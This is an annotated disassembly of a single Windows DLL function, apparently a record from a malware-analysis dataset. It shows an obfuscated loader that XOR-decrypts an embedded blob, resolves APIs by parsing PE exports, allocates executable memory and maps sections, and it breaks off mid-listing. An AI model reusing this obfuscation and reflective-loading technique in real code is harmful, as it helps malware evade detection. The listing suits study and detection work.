Function at 0x180001130
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
cmp dword [0x180020a6c], 0xa
jl 0x180001162
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001162
nop
jmp 0x180001160
mov eax, 0x10
call entry0
sub rsp, rax
mov rsi, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r15, rsp
cmp dword [0x180020a74], 0xa
jl 0x1800011a2
mov eax, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800011a2
nop dword [rax]
jmp 0x1800011a0
mov r8b, byte [section..data]
mov eax, dword [0x180020a78]
mov r12d, dword [0x180020a74]
lea ebx, [rax - 1]
mov qword [rbp], rax
imul ebx, eax
and ebx, 1
sete al
cmp r12d, 0xa
setl cl
or cl, al
mov r9b, byte [0x180004001]
mov r10b, byte [0x180004002]
mov eax, dword [0x180020a70]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020a6c], 0xa
mov r11b, byte [0x180004003]
setl r14b
or r14b, al
mov edx, ecx
or dl, cl
mov byte [rsi], r8b
test cl, cl
jne 0x180001217
nop
test cl, cl
je 0x180001210
mov byte [rsi], r8b
cmp r12d, 0xa
jl 0x180001225
test ebx, ebx
jne 0x180001370
mov byte [rsi + 1], r9b
test cl, cl
jne 0x180001238
nop dword [rax]
test cl, cl
je 0x180001230
mov byte [rsi + 1], r9b
cmp r12d, 0xa
jl 0x180001246
test ebx, ebx
jne 0x180001370
mov byte [rsi + 2], r10b
test cl, cl
jne 0x180001258
nop
test cl, cl
je 0x180001250
mov byte [rsi + 2], r10b
cmp r12d, 0xa
jl 0x180001266
test ebx, ebx
jne 0x180001370
mov byte [rsi + 3], r11b
test cl, cl
jne 0x180001278
nop
test cl, cl
je 0x180001270
mov byte [rsi + 3], r11b
cmp r12d, 0xa
jl 0x180001286
test ebx, ebx
jne 0x180001370
test r14b, r14b
jne 0x1800013d2
cmp r12d, 0xa
jl 0x18000129d
test ebx, ebx
jne 0x180001390
test cl, cl
mov eax, ebx
cmovne eax, ebx
mov esi, r12d
cmovne esi, r12d
test dl, dl
je 0x1800013a0
cmp esi, 0xa
jl 0x1800012c0
test eax, eax
jne 0x180001380
test cl, cl
mov eax, ebx
cmovne eax, ebx
mov esi, r12d
cmovne esi, r12d
test dl, dl
je 0x1800013b0
cmp esi, 0xa
jl 0x1800012e3
test eax, eax
jne 0x180001380
test cl, cl
mov eax, ebx
cmovne eax, ebx
mov esi, r12d
cmovne esi, r12d
test dl, dl
je 0x1800013c0
cmp esi, 0xa
jl 0x180001302
test eax, eax
jne 0x180001380
test cl, cl
mov eax, ebx
cmovne eax, ebx
mov r13d, r12d
cmovne r13d, r12d
mov rdi, qword [rbp]
cmovne edi, edi
test dl, dl
je 0x1800013d0
cmp r13d, 0xa
jl 0x180001329
test eax, eax
jne 0x180001380
mov eax, 0x10
call entry0
sub rsp, rax
mov rsi, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r15, rsp
cmp r13d, 0xa
jl 0x180001208
lea eax, [rdi - 1]
imul eax, edi
and eax, 1
je 0x180001208
jmp 0x1800011a0
jmp 0x180001370
jmp 0x180001380
jmp 0x180001390
jmp 0x1800013a0
jmp 0x1800013b0
jmp 0x1800013c0
jmp 0x1800013d0
mov r14d, dword [rsi]
test r14, r14
je 0x1800014f7
xor ecx, ecx
cmp r14d, 0x10
jb 0x1800014bd
lea rax, [r14 - 1]
cmp rax, 0x400
jae 0x1800014bd
mov ecx, r14d
and ecx, 0xfffffff0
lea rdx, [rcx - 0x10]
mov rax, rdx
shr rax, 4
add rax, 1
mov r8d, eax
and r8d, 1
test rdx, rdx
je 0x180001484
mov rsi, r8
sub rsi, rax
xor edi, edi
lea rax, section..data
movaps xmm0, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
mov edx, edi
and edx, 0x3e0
movups xmm1, xmmword [rdx + rax + 4]
movups xmm2, xmmword [rdi + rax + 0x404]
xorps xmm2, xmm1
movups xmm1, xmmword [rdi + rax + 0x414]
xorps xmm2, xmm0
movups xmmword [rdi + rax + 0x404], xmm2
lea edx, [rdi + 0x10]
and edx, 0x3f0
movups xmm2, xmmword [rdx + rax + 4]
xorps xmm1, xmm0
xorps xmm1, xmm2
movups xmmword [rdi + rax + 0x414], xmm1
add rdi, 0x20
add rsi, 2
jne 0x180001431
jmp 0x180001486
xor edi, edi
test r8, r8
je 0x1800014b8
mov eax, edi
and eax, 0x3f0
lea rdx, section..data
movups xmm0, xmmword [rax + rdx + 4]
movups xmm1, xmmword [rdi + rdx + 0x404]
xorps xmm1, xmm0
xorps xmm1, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
movups xmmword [rdi + rdx + 0x404], xmm1
cmp rcx, r14
je 0x1800014f7
lea rax, section..data
nop word cs:[rax + rax]
nop
mov edx, ecx
and edx, 0x3ff
movzx edx, byte [rdx + rax + 4]
xor dl, byte [rcx + rax + 0x404]
xor dl, 0xc
mov byte [rcx + rax + 0x404], dl
add rcx, 1
cmp rcx, r14
jb 0x1800014d0
lea r13, section..data
lea r10, [r14 + r13]
add r10, 0x404
cmp r12d, 0xa
jl 0x180001526
test ebx, ebx
je 0x180001526
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x180001520
test al, al
je 0x180001520
cmp r12d, 0xa
jl 0x18000153f
mov rcx, qword [rbp]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x180001910
mov dl, byte [r10]
mov byte [r15], dl
mov ebx, dword [0x180020a78]
mov ecx, dword [0x180020a74]
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
cmp ecx, 0xa
jl 0x180001563
test eax, eax
jne 0x180001542
cmp ecx, 0xa
jl 0x180001570
test eax, eax
jne 0x180001910
mov al, byte [r10 + 1]
mov byte [r15 + 1], al
mov ebx, dword [0x180020a78]
mov edx, dword [0x180020a74]
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
cmp edx, 0xa
jl 0x1800015c0
test ecx, ecx
je 0x1800015c0
mov ebx, dword [0x180020a78]
mov edx, dword [0x180020a74]
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
sete r8b
cmp edx, 0xa
setl bl
or bl, r8b
test bl, bl
je 0x1800015b8
mov byte [r15 + 1], al
cmp edx, 0xa
jl 0x1800015cd
test ecx, ecx
jne 0x180001910
mov al, byte [r10 + 2]
mov byte [r15 + 2], al
mov ebx, dword [0x180020a78]
mov edx, dword [0x180020a74]
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
cmp edx, 0xa
jl 0x18000161d
test ecx, ecx
je 0x18000161d
mov ebx, dword [0x180020a78]
mov edx, dword [0x180020a74]
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
sete r8b
cmp edx, 0xa
setl bl
or bl, r8b
test bl, bl
je 0x180001615
mov byte [r15 + 2], al
cmp edx, 0xa
jl 0x18000162a
test ecx, ecx
jne 0x180001910
mov r8b, byte [r10 + 3]
mov byte [r15 + 3], r8b
mov ecx, dword [0x180020a78]
mov edx, dword [0x180020a74]
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x18000167a
test ebx, ebx
je 0x18000167a
mov ecx, dword [0x180020a78]
mov edx, dword [0x180020a74]
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
sete r9b
cmp edx, 0xa
setl al
or al, r9b
test al, al
je 0x180001672
mov byte [r15 + 3], r8b
cmp edx, 0xa
jl 0x180001687
test ebx, ebx
jne 0x180001910
cmp dword [0x180020a6c], 0xa
jl 0x180001922
mov eax, dword [0x180020a70]
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
je 0x180001922
cmp edx, 0xa
jl 0x1800016bd
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x1800018e0
mov r8d, 3
mov rdx, r15
mov rbx, r10
mov al, byte [r10]
jmp 0x1800016d0
mov al, byte [rbx]
mov byte [rdx], al
mov edi, dword [0x180020a78]
mov esi, dword [0x180020a74]
lea ecx, [rdi - 1]
imul ecx, edi
and ecx, 1
cmp esi, 0xa
jl 0x1800016f0
test ecx, ecx
jne 0x1800016d0
cmp esi, 0xa
jl 0x1800016fd
test ecx, ecx
jne 0x180001900
add rbx, 1
add rdx, 1
sub r8, 1
jae 0x1800016ce
cmp esi, 0xa
jl 0x18000171f
lea eax, [rdi - 1]
imul eax, edi
and eax, 1
jne 0x180001920
mov dl, byte [r10]
nop word cs:[rax + rax]
nop dword [rax]
mov byte [r15], dl
mov ebx, dword [0x180020a78]
mov ecx, dword [0x180020a74]
lea eax, [rbx - 1]
imul eax, ebx
and eax, 1
cmp ecx, 0xa
jl 0x180001751
test eax, eax
jne 0x180001730
cmp ecx, 0xa
jl 0x18000175e
test eax, eax
jne 0x1800018f0
mov al, byte [r10 + 1]
mov byte [r15 + 1], al
mov ebx, dword [0x180020a78]
mov edx, dword [0x180020a74]
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
cmp edx, 0xa
jl 0x1800017b8
test ecx, ecx
je 0x1800017b8
mov ebx, dword [0x180020a78]
mov edx, dword [0x180020a74]
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
sete r8b
cmp edx, 0xa
setl bl
or bl, r8b
nop word cs:[rax + rax]
test bl, bl
je 0x1800017b0
mov byte [r15 + 1], al
cmp edx, 0xa
jl 0x1800017c5
test ecx, ecx
jne 0x1800018f0
mov al, byte [r10 + 2]
mov byte [r15 + 2], al
mov ebx, dword [0x180020a78]
mov edx, dword [0x180020a74]
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
cmp edx, 0xa
jl 0x180001818
test ecx, ecx
je 0x180001818
mov ebx, dword [0x180020a78]
mov edx, dword [0x180020a74]
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
sete r8b
cmp edx, 0xa
setl bl
or bl, r8b
nop dword [rax]
test bl, bl
je 0x180001810
mov byte [r15 + 2], al
cmp edx, 0xa
jl 0x180001825
test ecx, ecx
jne 0x1800018f0
mov al, byte [r10 + 3]
mov byte [r15 + 3], al
mov edx, dword [0x180020a78]
mov r12d, dword [0x180020a74]
lea ecx, [rdx - 1]
mov qword [rbp], rdx
imul ecx, edx
and ecx, 1
cmp r12d, 0xa
jl 0x180001888
test ecx, ecx
je 0x180001888
mov edx, dword [0x180020a78]
mov r12d, dword [0x180020a74]
lea ecx, [rdx - 1]
mov qword [rbp], rdx
imul ecx, edx
and ecx, 1
sete bl
cmp r12d, 0xa
setl dl
or dl, bl
nop word [rax + rax]
test dl, dl
je 0x180001880
mov byte [r15 + 3], al
cmp r12d, 0xa
jl 0x180001892
test ecx, ecx
jne 0x1800018f0
mov rcx, qword [rbp]
lea eax, [rcx - 1]
imul eax, ecx
test al, 1
sete cl
cmp r12d, 0xa
setl al
or al, cl
cmp dword [0x180020a6c], 0xa
jl 0x180001522
mov ecx, dword [0x180020a70]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180001522
mov r8d, 3
mov rdx, r15
mov rbx, r10
test al, al
jne 0x1800016ce
jmp 0x1800018e0
jmp 0x1800018f0
jmp 0x180001900
jmp 0x180001910
jmp 0x180001920
add r10, 4
mov r9d, dword [r15]
test r9, r9
mov qword [rbp], r10
je 0x180001a9e
xor eax, eax
cmp r9d, 0x20
jb 0x180001a79
lea rdx, [r9 - 1]
cmp rdx, 0x400
jae 0x180001a79
lea rcx, [r14 + r13]
add rcx, 0x408
lea rdx, [r9 + r13]
add rdx, 4
cmp rcx, rdx
jae 0x18000198c
lea rcx, [r9 + r14]
add rcx, r13
add rcx, 0x408
lea rdx, str.RiRCRztzehpTnvDsQnfgStQHBGElYlwfUvUIllCPBXswrpzCTlZXKzBBZTBHSwcIfeCChwKuFMdRsvYMEEOiauhHBpSUdRlJXtoxWnBbPrpiJRcpdpRpPCqgxIACWzShfuqIpaKhksLAHhvpdGSUdFoqQDuMohtOvjPzcgAcmSRcAIridpTAOpuUnZHDrgTgZfIOqKSLwMXQbSGcMVlmRCAkMOokQyvxEyHqlyHYESMbsmJqyvfHFUkZULfoUQlqkXVxuPWriVLrIcAJTKbRuBxfAZOXiWbcAfpdSIPGpZjubIHGiBpWYowqhfoWkmLJVTebDOvYWEOXxCmPuefedgTCzbVVbqKfZHsmbreiEFXhasykmsvVQHdDadQFFtbvBhbEETgRerblETjEDrDftGTsqYXmtoKyczpbgTWSUVhxfyLXBpksqXnHnRFFkZWWLLMxwezukULfwOCdVzpRiFnzthVvWGxIaMptQSvSWmEtTWJykajnVqZkvqQZsyevxSfLuirvgoRgHPmaFswtzTGQrhDejxKdVnOauIYZFnUgBsuIdVdWpLwHnMRbFEpSTAhLwgGqvnbKILwUIYqIjZnpCmZHREwlcgVudXktJqsJIiIJOjrsvsChPdQQTpKVUwGBqJHUUrPwGDAySGdQOLOPJdVRriTVZkiLicbRFfepCAztGLORwGbfOZiFKPIAIfiacTvBIprjxGIoEtcLeKYOiwrBWxymagjYrFCZCyXYLPkTQMrtQnQjKwbzXDMtILbksVIABFhDoXqCGauDklUCcufvEGaAHluRWaGJAdZVxIqcggpLLheqvgonkQRxcqoxoQvQfDUwbmfQaCyLvoujPpiXBYvplfamfryzioCGMcHCkchXGZRhTAFYQAavLEmScQvgJKcWSfyouRURpnbvAKrPlEXWPhXXKaVQXnMSxelnvXfpkKKDROuVTugKsBxmIuJWTmSVHODZqtAoHIiRFXhrsQCWFVtvVfeIETteBHqPsxjOtbJOrtPGmtQ
cmp rcx, rdx
jbe 0x18000198c
xor eax, eax
jmp 0x180001a79
mov eax, r9d
and eax, 0xffffffe0
lea rbx, [rax - 0x20]
mov rdx, rbx
shr rdx, 5
add rdx, 1
mov r8d, edx
and r8d, 1
test rbx, rbx
je 0x180001a32
lea r13, section..data
lea rdi, [r14 + r13]
add rdi, 0x438
mov rbx, r8
sub rbx, rdx
xor esi, esi
mov edx, esi
and edx, 0x3c0
movups xmm0, xmmword [rdx + r13 + 4]
movups xmm1, xmmword [rdx + r13 + 0x14]
movups xmm2, xmmword [rdi + rsi - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rdi + rsi - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rdi + rsi - 0x10]
movups xmm3, xmmword [rdi + rsi]
movups xmmword [rdi + rsi - 0x30], xmm2
movups xmmword [rdi + rsi - 0x20], xmm0
lea edx, [rsi + 0x20]
and edx, 0x3e0
movups xmm0, xmmword [rdx + r13 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rdx + r13 + 0x14]
xorps xmm1, xmm3
movups xmmword [rdi + rsi - 0x10], xmm0
movups xmmword [rdi + rsi], xmm1
add rsi, 0x40
add rbx, 2
jne 0x1800019cb
jmp 0x180001a3b
xor esi, esi
lea r13, section..data
test r8, r8
je 0x180001a70
mov edx, esi
and edx, 0x3e0
movups xmm0, xmmword [rdx + r13 + 4]
movups xmm1, xmmword [rdx + r13 + 0x14]
mov rcx, qword [rbp]
movups xmm2, xmmword [rcx + rsi]
xorps xmm2, xmm0
movups xmm0, xmmword [rcx + rsi + 0x10]
xorps xmm0, xmm1
movups xmmword [rcx + rsi], xmm2
movups xmmword [rcx + rsi + 0x10], xmm0
cmp rax, r9
mov r10, qword [rbp]
je 0x180001a9e
lea rdx, [r14 + r13]
add rdx, 0x408
mov ecx, eax
and ecx, 0x3ff
movzx ecx, byte [rcx + r13 + 4]
xor byte [rdx + rax], cl
add rax, 1
cmp rax, r9
jb 0x180001a84
cmp dword [0x180020a7c], 0xa
jl 0x180001ac2
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001ac2
nop dword [rax + rax]
jmp 0x180001ac0
add r14, 0x408
movsxd rax, dword [0x180004440]
add rax, r13
add rax, 0x404
mov qword [rbp - 8], rax
mov rsi, r10
cmp byte [rsi], 0
lea rsi, [rsi + 1]
jne 0x180001ae0
mov r15, rsi
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001aec
mov rbx, r15
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001af9
mov r13, rbx
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001b05
mov rdi, r13
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001b13
mov r12, rdi
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001b1f
sub rsp, 0x20
mov rcx, rsi
call fcn.1800028c0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001b5c
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800020d2
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x10], rsi
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001b93
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x1800020d4
add r8, r9
mov esi, dword [r9 + rax + 0x20]
mov r10d, dword [r9 + rax + 0x24]
add rsi, r9
add r10, r9
mov eax, dword [rsi]
add rax, r9
mov rdx, r15
nop
movzx ecx, byte [rdx]
movzx ebx, byte [rax]
test cl, cl
je 0x180001bc6
add rdx, 1
add rax, 1
cmp cl, bl
je 0x180001bb0
cmp cl, bl
je 0x180001bd4
add rsi, 4
add r10, 2
jmp 0x180001ba6
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001c0e
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800020d6
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001c3d
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800020d8
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
mov esi, dword [rdx]
add rsi, r10
mov rax, r13
nop dword [rax + rax]
movzx ebx, byte [rax]
movzx ecx, byte [rsi]
test bl, bl
je 0x180001c76
add rax, 1
add rsi, 1
cmp bl, cl
je 0x180001c60
cmp bl, cl
je 0x180001c84
add rdx, 4
add rdi, 2
jmp 0x180001c50
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r12
mov r8, r12
call r10
add rsp, 0x10
mov rcx, qword [rbp - 0x10]
call fcn.1800028c0
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001ce7
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800020da
movsxd rax, dword [r10 + 0x3c]
mov ebx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rbx + 0x1c]
cmp dword [0x180020a8c], 0xa
lea rcx, section..data
jl 0x180001d1d
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800020dc
add r8, r10
mov edx, dword [r10 + rbx + 0x20]
mov r9d, dword [r10 + rbx + 0x24]
add rdx, r10
add r9, r10
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
nop word [rax + rax]
lea rax, [r14 + rsi]
movzx eax, byte [rcx + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001d58
add rsi, 1
cmp al, bl
je 0x180001d40
cmp al, bl
je 0x180001d66
add rdx, 4
add r9, 2
jmp 0x180001d30
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0x50]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
mov r13, rax
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x1800020ec
test edx, edx
je 0x1800020ec
movsxd rsi, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
mov rdx, qword [rbp]
mov rbx, rdx
jl 0x180001de9
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
mov rbx, rdx
and ecx, 1
jne 0x1800020de
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001de9
mov r12, rbx
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001df5
mov r15, r12
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001e04
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001e0e
mov rdi, r15
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001e1b
mov r13, rdi
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001e27
sub rsp, 0x20
mov rcx, rbx
call fcn.1800028c0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001e63
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800020e0
mov qword [rbp - 8], rbx
mov qword [rbp - 0x10], rsi
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001e9a
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x1800020e2
add r8, r9
mov esi, dword [r9 + rax + 0x20]
mov r10d, dword [r9 + rax + 0x24]
add rsi, r9
add r10, r9
mov eax, dword [rsi]
add rax, r9
mov rdx, r12
nop word cs:[rax + rax]
nop
movzx ecx, byte [rdx]
movzx ebx, byte [rax]
test cl, cl
je 0x180001ed6
add rdx, 1
add rax, 1
cmp cl, bl
je 0x180001ec0
cmp cl, bl
je 0x180001ee4
add rsi, 4
add r10, 2
jmp 0x180001ead
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001f1e
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800020e4
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001f4d
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800020e6
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
mov esi, dword [rdx]
add rsi, r10
mov rbx, r15
nop dword [rax + rax]
movzx eax, byte [rbx]
movzx ecx, byte [rsi]
test al, al
je 0x180001f86
add rbx, 1
add rsi, 1
cmp al, cl
je 0x180001f70
cmp al, cl
je 0x180001f94
add rdx, 4
add rdi, 2
jmp 0x180001f60
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r13
mov r8, r13
call r10
add rsp, 0x10
mov rcx, qword [rbp - 8]
call fcn.1800028c0
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001ff7
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800020e8
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
lea r13, section..data
jl 0x18000202d
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800020ea
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
nop word [rax + rax]
lea rax, [r14 + rsi]
movzx eax, byte [r13 + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x18000206a
add rsi, 1
cmp al, bl
je 0x180002050
cmp al, bl
je 0x180002078
add rdx, 4
add rcx, 2
jmp 0x180002040
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp - 0x10]
mov edx, dword [rax + r13 + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
cmp dword [0x180020a7c], 0xa
mov r10, qword [rbp]
jl 0x180001ac9
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001ac9
jmp 0x180001ac0
jmp 0x1800020d2
jmp 0x1800020d4
jmp 0x1800020d6
jmp 0x1800020d8
jmp 0x1800020da
jmp 0x1800020dc
jmp 0x1800020de
jmp 0x1800020e0
jmp 0x1800020e2
jmp 0x1800020e4
jmp 0x1800020e6
jmp 0x1800020e8
jmp 0x1800020ea
cmp ecx, 0xa
jl 0x1800020f7
test edx, edx
je 0x1800020f7
jmp 0x1800020f5
mov rbx, qword [rbp - 8]
lea r9, [rbx + 0x108]
xor r8d, r8d
mov rbx, qword [rbp - 8]
movzx ebx, word [rbx + 6]
cmp r8, rbx
jae 0x180002287
mov esi, dword [0x180020a78]
mov ebx, dword [0x180020a74]
cmp ecx, 0xa
jl 0x180002140
test edx, edx
jne 0x1800021f1
jmp 0x180002140
add r8, 1
cmp ecx, 0xa
jl 0x180002105
test edx, edx
je 0x180002105
jmp 0x1800020f5
cmp ebx, 0xa
jl 0x180002154
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180002283
lea rdx, [r8 + r8*4]
mov eax, dword [r9 + rdx*8 + 0x10]
test rax, rax
je 0x1800021cb
mov ecx, dword [r9 + rdx*8 + 0xc]
mov edx, dword [r9 + rdx*8 + 0x14]
lea rbx, section..data
add rdx, rbx
add rdx, 0x404
add rcx, r13
jmp 0x180002193
add rax, 0xffffffffffffffff
add rdx, 1
add rcx, 1
test rax, rax
je 0x1800021cb
movzx ebx, byte [rdx]
mov byte [rcx], bl
mov esi, dword [0x180020a78]
mov ebx, dword [0x180020a74]
lea edi, [rsi - 1]
imul edi, esi
and edi, 1
cmp ebx, 0xa
jl 0x1800021bd
test edi, edi
je 0x1800021bd
movzx ebx, byte [rdx]
mov byte [rcx], bl
jmp 0x180002193
cmp ebx, 0xa
jl 0x180002182
test edi, edi
je 0x180002182
jmp 0x180002281
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180002131
test edx, edx
je 0x180002131
cmp ebx, 0xa
jl 0x180002205
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180002285
lea rdx, [r8 + r8*4]
mov eax, dword [r9 + rdx*8 + 0x10]
test rax, rax
je 0x180002140
mov ecx, dword [r9 + rdx*8 + 0xc]
mov edx, dword [r9 + rdx*8 + 0x14]
lea rbx, section..data
add rdx, rbx
add rdx, 0x404
add rcx, r13
jmp 0x18000224c
add rax, 0xffffffffffffffff
add rdx, 1
add rcx, 1
test rax, rax
je 0x180002140
movzx ebx, byte [rdx]
mov byte [rcx], bl
mov esi, dword [0x180020a78]
mov ebx, dword [0x180020a74]
lea edi, [rsi - 1]
imul edi, esi
and edi, 1
cmp ebx, 0xa
jl 0x180002276
test edi, edi
je 0x180002276
movzx ebx, byte [rdx]
mov byte [rcx], bl
jmp 0x18000224c
cmp ebx, 0xa
jl 0x180002237
test edi, edi
je 0x180002237
jmp 0x18000227f
jmp 0x180002281
jmp 0x180002283
jmp 0x180002285
mov rdx, qword [rbp - 8]
mov rdx, qword [rdx + 0x30]
mov r10, r13
sub r10, rdx
cmp ecx, 0xa
jl 0x1800022a7
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x1800022a7
jmp 0x1800022a5
mov rdx, qword [rbp - 8]
mov r11d, dword [rdx + 0xb0]
add r11, r13
movabs r8, 0x1fffffff8
cmp dword [r11], 0
je 0x1800023f6
mov esi, dword [r11 + 4]
cmp rsi, 8
jb 0x1800023ce
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete bl
cmp ecx, 0xa
setl dl
or dl, bl
cmp dl, 1
jne 0x1800023f0
add rsi, r8
shr rsi, 1
mov r9d, esi
xor r14d, r14d
cmp r14, r9
jne 0x18000232e
jmp 0x1800023ca
add r14, 1
test dl, 1
sete bl
cmp ecx, 0xa
setl dl
or dl, bl
cmp dl, 1
jne 0x1800023f0
cmp r14, r9
je 0x1800023ca
movzx edi, word [r11 + r14*2 + 8]
mov ebx, edi
shr ebx, 0xc
mov esi, edi
and esi, 0xfff
cmp edi, 0xa000
jae 0x180002391
cmp ebx, 3
jne 0x1800023ae
test dl, 1
je 0x1800023f4
mov eax, dword [r11]
lea rdx, [rsi*4]
add rdx, r13
add dword [rdx + rax*4], r10d
